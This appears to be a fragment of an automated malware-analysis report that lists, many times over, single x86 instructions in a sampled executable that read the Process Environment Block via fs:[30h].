          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0123E3DB mov eax, dword ptr fs:[00000030h]4_2_0123E3DB
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0123E3DB mov ecx, dword ptr fs:[00000030h]4_2_0123E3DB
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0123E3DB mov eax, dword ptr fs:[00000030h]4_2_0123E3DB
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0118823B mov eax, dword ptr fs:[00000030h]4_2_0118823B
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01196259 mov eax, dword ptr fs:[00000030h]4_2_01196259
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0118A250 mov eax, dword ptr fs:[00000030h]4_2_0118A250
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01240274 mov eax, dword ptr fs:[00000030h]4_2_01240274
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01240274 mov eax, dword ptr fs:[00000030h]4_2_01240274
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01240274 mov eax, dword ptr fs:[00000030h]4_2_01240274
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01240274 mov eax, dword ptr fs:[00000030h]4_2_01240274
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01240274 mov eax, dword ptr fs:[00000030h]4_2_01240274
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01240274 mov eax, dword ptr fs:[00000030h]4_2_01240274
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01240274 mov eax, dword ptr fs:[00000030h]4_2_01240274
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01240274 mov eax, dword ptr fs:[00000030h]4_2_01240274
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01240274 mov eax, dword ptr fs:[00000030h]4_2_01240274
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01240274 mov eax, dword ptr fs:[00000030h]4_2_01240274
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01240274 mov eax, dword ptr fs:[00000030h]4_2_01240274
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01240274 mov eax, dword ptr fs:[00000030h]4_2_01240274
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01218243 mov eax, dword ptr fs:[00000030h]4_2_01218243
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01218243 mov ecx, dword ptr fs:[00000030h]4_2_01218243
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0118826B mov eax, dword ptr fs:[00000030h]4_2_0118826B
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0124A250 mov eax, dword ptr fs:[00000030h]4_2_0124A250
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0124A250 mov eax, dword ptr fs:[00000030h]4_2_0124A250
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01194260 mov eax, dword ptr fs:[00000030h]4_2_01194260
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01194260 mov eax, dword ptr fs:[00000030h]4_2_01194260
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01194260 mov eax, dword ptr fs:[00000030h]4_2_01194260
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0126625D mov eax, dword ptr fs:[00000030h]4_2_0126625D
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_012262A0 mov eax, dword ptr fs:[00000030h]4_2_012262A0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_012262A0 mov ecx, dword ptr fs:[00000030h]4_2_012262A0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_012262A0 mov eax, dword ptr fs:[00000030h]4_2_012262A0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_012262A0 mov eax, dword ptr fs:[00000030h]4_2_012262A0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_012262A0 mov eax, dword ptr fs:[00000030h]4_2_012262A0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_012262A0 mov eax, dword ptr fs:[00000030h]4_2_012262A0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011CE284 mov eax, dword ptr fs:[00000030h]4_2_011CE284
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011CE284 mov eax, dword ptr fs:[00000030h]4_2_011CE284
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01210283 mov eax, dword ptr fs:[00000030h]4_2_01210283
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01210283 mov eax, dword ptr fs:[00000030h]4_2_01210283
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01210283 mov eax, dword ptr fs:[00000030h]4_2_01210283
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011A02A0 mov eax, dword ptr fs:[00000030h]4_2_011A02A0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011A02A0 mov eax, dword ptr fs:[00000030h]4_2_011A02A0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0119A2C3 mov eax, dword ptr fs:[00000030h]4_2_0119A2C3
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0119A2C3 mov eax, dword ptr fs:[00000030h]4_2_0119A2C3
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0119A2C3 mov eax, dword ptr fs:[00000030h]4_2_0119A2C3
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0119A2C3 mov eax, dword ptr fs:[00000030h]4_2_0119A2C3
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0119A2C3 mov eax, dword ptr fs:[00000030h]4_2_0119A2C3
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_012662D6 mov eax, dword ptr fs:[00000030h]4_2_012662D6
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011A02E1 mov eax, dword ptr fs:[00000030h]4_2_011A02E1
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011A02E1 mov eax, dword ptr fs:[00000030h]4_2_011A02E1
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011A02E1 mov eax, dword ptr fs:[00000030h]4_2_011A02E1
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01226500 mov eax, dword ptr fs:[00000030h]4_2_01226500
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011BE53E mov eax, dword ptr fs:[00000030h]4_2_011BE53E
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011BE53E mov eax, dword ptr fs:[00000030h]4_2_011BE53E
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011BE53E mov eax, dword ptr fs:[00000030h]4_2_011BE53E
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011BE53E mov eax, dword ptr fs:[00000030h]4_2_011BE53E
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011BE53E mov eax, dword ptr fs:[00000030h]4_2_011BE53E
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01264500 mov eax, dword ptr fs:[00000030h]4_2_01264500
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01264500 mov eax, dword ptr fs:[00000030h]4_2_01264500
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01264500 mov eax, dword ptr fs:[00000030h]4_2_01264500
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01264500 mov eax, dword ptr fs:[00000030h]4_2_01264500
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01264500 mov eax, dword ptr fs:[00000030h]4_2_01264500
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01264500 mov eax, dword ptr fs:[00000030h]4_2_01264500
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01264500 mov eax, dword ptr fs:[00000030h]4_2_01264500
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011A0535 mov eax, dword ptr fs:[00000030h]4_2_011A0535
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011A0535 mov eax, dword ptr fs:[00000030h]4_2_011A0535
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011A0535 mov eax, dword ptr fs:[00000030h]4_2_011A0535
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011A0535 mov eax, dword ptr fs:[00000030h]4_2_011A0535
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011A0535 mov eax, dword ptr fs:[00000030h]4_2_011A0535
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011A0535 mov eax, dword ptr fs:[00000030h]4_2_011A0535
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01198550 mov eax, dword ptr fs:[00000030h]4_2_01198550
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01198550 mov eax, dword ptr fs:[00000030h]4_2_01198550
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011C656A mov eax, dword ptr fs:[00000030h]4_2_011C656A
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011C656A mov eax, dword ptr fs:[00000030h]4_2_011C656A
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011C656A mov eax, dword ptr fs:[00000030h]4_2_011C656A
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011CE59C mov eax, dword ptr fs:[00000030h]4_2_011CE59C
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_012105A7 mov eax, dword ptr fs:[00000030h]4_2_012105A7
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_012105A7 mov eax, dword ptr fs:[00000030h]4_2_012105A7
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_012105A7 mov eax, dword ptr fs:[00000030h]4_2_012105A7
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011C4588 mov eax, dword ptr fs:[00000030h]4_2_011C4588
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01192582 mov eax, dword ptr fs:[00000030h]4_2_01192582
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01192582 mov ecx, dword ptr fs:[00000030h]4_2_01192582
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011B45B1 mov eax, dword ptr fs:[00000030h]4_2_011B45B1
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011B45B1 mov eax, dword ptr fs:[00000030h]4_2_011B45B1
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011965D0 mov eax, dword ptr fs:[00000030h]4_2_011965D0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011CA5D0 mov eax, dword ptr fs:[00000030h]4_2_011CA5D0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011CA5D0 mov eax, dword ptr fs:[00000030h]4_2_011CA5D0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011CE5CF mov eax, dword ptr fs:[00000030h]4_2_011CE5CF
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011CE5CF mov eax, dword ptr fs:[00000030h]4_2_011CE5CF
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011CC5ED mov eax, dword ptr fs:[00000030h]4_2_011CC5ED
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011CC5ED mov eax, dword ptr fs:[00000030h]4_2_011CC5ED
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011925E0 mov eax, dword ptr fs:[00000030h]4_2_011925E0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011BE5E7 mov eax, dword ptr fs:[00000030h]4_2_011BE5E7
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011BE5E7 mov eax, dword ptr fs:[00000030h]4_2_011BE5E7
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011BE5E7 mov eax, dword ptr fs:[00000030h]4_2_011BE5E7
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011BE5E7 mov eax, dword ptr fs:[00000030h]4_2_011BE5E7
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011BE5E7 mov eax, dword ptr fs:[00000030h]4_2_011BE5E7
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011BE5E7 mov eax, dword ptr fs:[00000030h]4_2_011BE5E7
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011BE5E7 mov eax, dword ptr fs:[00000030h]4_2_011BE5E7
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011BE5E7 mov eax, dword ptr fs:[00000030h]4_2_011BE5E7
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01216420 mov eax, dword ptr fs:[00000030h]4_2_01216420
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01216420 mov eax, dword ptr fs:[00000030h]4_2_01216420
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01216420 mov eax, dword ptr fs:[00000030h]4_2_01216420
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01216420 mov eax, dword ptr fs:[00000030h]4_2_01216420
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01216420 mov eax, dword ptr fs:[00000030h]4_2_01216420
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01216420 mov eax, dword ptr fs:[00000030h]4_2_01216420
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01216420 mov eax, dword ptr fs:[00000030h]4_2_01216420
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011C8402 mov eax, dword ptr fs:[00000030h]4_2_011C8402
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011C8402 mov eax, dword ptr fs:[00000030h]4_2_011C8402
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011C8402 mov eax, dword ptr fs:[00000030h]4_2_011C8402
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0118E420 mov eax, dword ptr fs:[00000030h]4_2_0118E420
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0118E420 mov eax, dword ptr fs:[00000030h]4_2_0118E420
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0118E420 mov eax, dword ptr fs:[00000030h]4_2_0118E420
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0118C427 mov eax, dword ptr fs:[00000030h]4_2_0118C427
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011B245A mov eax, dword ptr fs:[00000030h]4_2_011B245A
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0121C460 mov ecx, dword ptr fs:[00000030h]4_2_0121C460
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0118645D mov eax, dword ptr fs:[00000030h]4_2_0118645D
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011CE443 mov eax, dword ptr fs:[00000030h]4_2_011CE443
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011CE443 mov eax, dword ptr fs:[00000030h]4_2_011CE443
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011CE443 mov eax, dword ptr fs:[00000030h]4_2_011CE443
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011CE443 mov eax, dword ptr fs:[00000030h]4_2_011CE443
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011CE443 mov eax, dword ptr fs:[00000030h]4_2_011CE443
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011CE443 mov eax, dword ptr fs:[00000030h]4_2_011CE443
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011CE443 mov eax, dword ptr fs:[00000030h]4_2_011CE443
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011CE443 mov eax, dword ptr fs:[00000030h]4_2_011CE443
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011BA470 mov eax, dword ptr fs:[00000030h]4_2_011BA470
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011BA470 mov eax, dword ptr fs:[00000030h]4_2_011BA470
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011BA470 mov eax, dword ptr fs:[00000030h]4_2_011BA470
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0124A456 mov eax, dword ptr fs:[00000030h]4_2_0124A456
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0121A4B0 mov eax, dword ptr fs:[00000030h]4_2_0121A4B0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011C44B0 mov ecx, dword ptr fs:[00000030h]4_2_011C44B0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011964AB mov eax, dword ptr fs:[00000030h]4_2_011964AB
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0124A49A mov eax, dword ptr fs:[00000030h]4_2_0124A49A
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011904E5 mov ecx, dword ptr fs:[00000030h]4_2_011904E5
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01190710 mov eax, dword ptr fs:[00000030h]4_2_01190710
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011C0710 mov eax, dword ptr fs:[00000030h]4_2_011C0710
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0120C730 mov eax, dword ptr fs:[00000030h]4_2_0120C730
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011CC700 mov eax, dword ptr fs:[00000030h]4_2_011CC700
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011C273C mov eax, dword ptr fs:[00000030h]4_2_011C273C
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011C273C mov ecx, dword ptr fs:[00000030h]4_2_011C273C
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011C273C mov eax, dword ptr fs:[00000030h]4_2_011C273C
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011CC720 mov eax, dword ptr fs:[00000030h]4_2_011CC720
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011CC720 mov eax, dword ptr fs:[00000030h]4_2_011CC720
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01190750 mov eax, dword ptr fs:[00000030h]4_2_01190750
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011D2750 mov eax, dword ptr fs:[00000030h]4_2_011D2750
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011D2750 mov eax, dword ptr fs:[00000030h]4_2_011D2750
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011C674D mov esi, dword ptr fs:[00000030h]4_2_011C674D
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011C674D mov eax, dword ptr fs:[00000030h]4_2_011C674D
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011C674D mov eax, dword ptr fs:[00000030h]4_2_011C674D
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01198770 mov eax, dword ptr fs:[00000030h]4_2_01198770
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011A0770 mov eax, dword ptr fs:[00000030h]4_2_011A0770
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011A0770 mov eax, dword ptr fs:[00000030h]4_2_011A0770
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011A0770 mov eax, dword ptr fs:[00000030h]4_2_011A0770
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011A0770 mov eax, dword ptr fs:[00000030h]4_2_011A0770
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011A0770 mov eax, dword ptr fs:[00000030h]4_2_011A0770
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011A0770 mov eax, dword ptr fs:[00000030h]4_2_011A0770
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011A0770 mov eax, dword ptr fs:[00000030h]4_2_011A0770
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011A0770 mov eax, dword ptr fs:[00000030h]4_2_011A0770
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011A0770 mov eax, dword ptr fs:[00000030h]4_2_011A0770
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011A0770 mov eax, dword ptr fs:[00000030h]4_2_011A0770
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011A0770 mov eax, dword ptr fs:[00000030h]4_2_011A0770
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011A0770 mov eax, dword ptr fs:[00000030h]4_2_011A0770
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01214755 mov eax, dword ptr fs:[00000030h]4_2_01214755
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0121E75D mov eax, dword ptr fs:[00000030h]4_2_0121E75D
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_012447A0 mov eax, dword ptr fs:[00000030h]4_2_012447A0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0123678E mov eax, dword ptr fs:[00000030h]4_2_0123678E
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011907AF mov eax, dword ptr fs:[00000030h]4_2_011907AF
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0121E7E1 mov eax, dword ptr fs:[00000030h]4_2_0121E7E1
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0119C7C0 mov eax, dword ptr fs:[00000030h]4_2_0119C7C0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_012107C3 mov eax, dword ptr fs:[00000030h]4_2_012107C3
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011947FB mov eax, dword ptr fs:[00000030h]4_2_011947FB
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011947FB mov eax, dword ptr fs:[00000030h]4_2_011947FB
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011B27ED mov eax, dword ptr fs:[00000030h]4_2_011B27ED
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011B27ED mov eax, dword ptr fs:[00000030h]4_2_011B27ED
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011B27ED mov eax, dword ptr fs:[00000030h]4_2_011B27ED
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011D2619 mov eax, dword ptr fs:[00000030h]4_2_011D2619
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011A260B mov eax, dword ptr fs:[00000030h]4_2_011A260B
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011A260B mov eax, dword ptr fs:[00000030h]4_2_011A260B
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011A260B mov eax, dword ptr fs:[00000030h]4_2_011A260B
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011A260B mov eax, dword ptr fs:[00000030h]4_2_011A260B
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011A260B mov eax, dword ptr fs:[00000030h]4_2_011A260B
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011A260B mov eax, dword ptr fs:[00000030h]4_2_011A260B
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011A260B mov eax, dword ptr fs:[00000030h]4_2_011A260B
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0120E609 mov eax, dword ptr fs:[00000030h]4_2_0120E609
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0119262C mov eax, dword ptr fs:[00000030h]4_2_0119262C
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011C6620 mov eax, dword ptr fs:[00000030h]4_2_011C6620
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011C8620 mov eax, dword ptr fs:[00000030h]4_2_011C8620
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011AE627 mov eax, dword ptr fs:[00000030h]4_2_011AE627
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0125866E mov eax, dword ptr fs:[00000030h]4_2_0125866E
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0125866E mov eax, dword ptr fs:[00000030h]4_2_0125866E
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011AC640 mov eax, dword ptr fs:[00000030h]4_2_011AC640
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011C2674 mov eax, dword ptr fs:[00000030h]4_2_011C2674
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011CA660 mov eax, dword ptr fs:[00000030h]4_2_011CA660
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011CA660 mov eax, dword ptr fs:[00000030h]4_2_011CA660
